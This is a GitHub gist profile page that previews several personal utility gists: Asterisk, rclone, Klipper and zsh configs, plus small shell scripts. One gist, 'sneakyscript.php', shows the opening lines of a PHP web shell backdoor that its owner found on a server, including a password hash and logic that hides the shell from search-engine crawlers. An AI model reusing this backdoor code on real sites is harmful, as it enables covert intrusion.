Skip to content

Instantly share code, notes, and snippets.

View whi-tw's full-sized avatar
🌐
YAY, STATUS FROM API

whi-tw

🌐
YAY, STATUS FROM API
View GitHub Profile
@whi-tw
whi-tw / sneakyscript.php
Created October 28, 2016 10:46
a backdoor script found on a server - pretty comprehensive one too!
<?php
$color = "#df5";$default_action = 'FilesMan';$auth_pass = "5672565533f43af96e36c0ab514fd2a4";$default_use_ajax = true;$default_charset = 'Windows-1251';
<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log', NULL);
@whi-tw
whi-tw / extensions_custom.conf
Created May 2, 2017 10:11
Asterisk redial until connect extension
[from-internal-custom]
include => to-destination_name
[to-destination_name]
exten => 3627,1(dialing),Dial(SIP/**phone_number**@**trunk_name)
exten => 3627,n,GotoIf($["${DIALSTATUS}" = "BUSY"]?busy:completed)
exten => 3627,n(busy),Playback(beep)
exten => 3627,n,Goto(dialing)
exten => 3627,n(completed),Hangup()
@whi-tw
whi-tw / snapshot.conf
Last active March 28, 2018 11:45
Memset Automatic Snapshot with retention
logfile=/var/log/memset-snapshot
apikey="**APIKEY**"
server="testyaa1"
memstore="mstestyaa1"
snap_type="tar"
retention=2
@whi-tw
whi-tw / jobs.yml
Last active March 22, 2022 05:19
rclone python config wrapper
tasks:
- name: backup_something
local: "/path/to/sync"
remote: "memset_memstore:path/to/remote"
operation: sync
- name: backup_something_else
local: "/another/path/to/sync"
remote: "memset_memstore:another/path/to/remote"
operation: sync
@whi-tw
whi-tw / keybase.md
Last active October 30, 2019 12:45

Keybase proof

I hereby claim:

  • I am whi-tw on github.
  • I am tnwhitwell (https://keybase.io/tnwhitwell) on keybase.
  • I have a public key ASAASE9bOituZaHlhaqQLEjQVulDI1DnECalWHVMvwtr9Qo

To claim this, I am signing this object:

@whi-tw
whi-tw / .mykman.yml
Created October 23, 2019 15:07
mykman - a dummy ykman to get 2fa codes from pass
---
some-aws-account: amazon.com/totp
some-github-account: github.com/totp
@whi-tw
whi-tw / rpm
Created June 18, 2020 11:15
Cisco Anyconnect cscan compatibility for Arch Linux
#!/usr/bin/env bash
if [ "${1}" == "-q" ] && [[ ${2} == --qf* ]]; then
arch="$(uname -m)"
ver="$(pacman -Q ${@: -1} | awk '{print $2}')"
if [ ! -z "${ver}" ]; then
echo "{\"name\":\"${@: -1}\",\"version\":\"${ver}\",\"arch\":\"${arch}\"}"
else
echo "package ${@: -1} is not installed"
fi
elif [ "${1}" == "-ql" ]; then
@whi-tw
whi-tw / mute_tool.sh
Created December 2, 2020 13:04
Mute either USB microphone or internal soundcard, depending on presence.
#!/usr/bin/env bash
USB=false
select_card() {
USB="false" # assume that usb mic is not attached
cards="$(arecord -l | grep card)"
echo "${cards}" | grep -q USB && USB="true" # if a device has USB in the name, usb mic is attached and we probs want to use it
while read -r card; do
# loop through cards. if USB, then pick the first card with USB in the name. else, pick the first card w/o
if [ "${USB}" == "true" ]; then
echo "${card}" | grep -q USB && echo "true" $(echo "${card}" | awk '{print $2}' | cut -d':' -f1) && return
@whi-tw
whi-tw / printer.cfg
Created August 10, 2021 17:26
Klipper config for my ANET A8
# This file contains common pin mappings for Anet A8 printer from 2016
# and 2017. To use this config, the firmware should be compiled for
# the AVR atmega1284p.
# Note that the "make flash" command does not work with Anet boards -
# the boards are typically flashed with this command:
# avrdude -p atmega1284p -c arduino -b 57600 -P /dev/ttyUSB0 -U out/klipper.elf.hex
# See docs/Config_Reference.md for a description of parameters.
@whi-tw
whi-tw / gh.plugin.zsh
Last active February 11, 2022 17:40
zsh plugin to add gh command completion
# TODO: 2021-12-28: remove this bit of code as it exists in oh-my-zsh.sh
# Add completions folder in $ZSH_CACHE_DIR
command mkdir -p "$ZSH_CACHE_DIR/completions"
(( ${fpath[(Ie)"$ZSH_CACHE_DIR/completions"]} )) || fpath=("$ZSH_CACHE_DIR/completions" $fpath)
# If the completion file does not exist, generate it and then source it
# Otherwise, source it and regenerate in the background
if [[ ! -f "$ZSH_CACHE_DIR/completions/_gh" ]]; then
gh completion -s zsh >| "$ZSH_CACHE_DIR/completions/_gh"
source "$ZSH_CACHE_DIR/completions/_gh"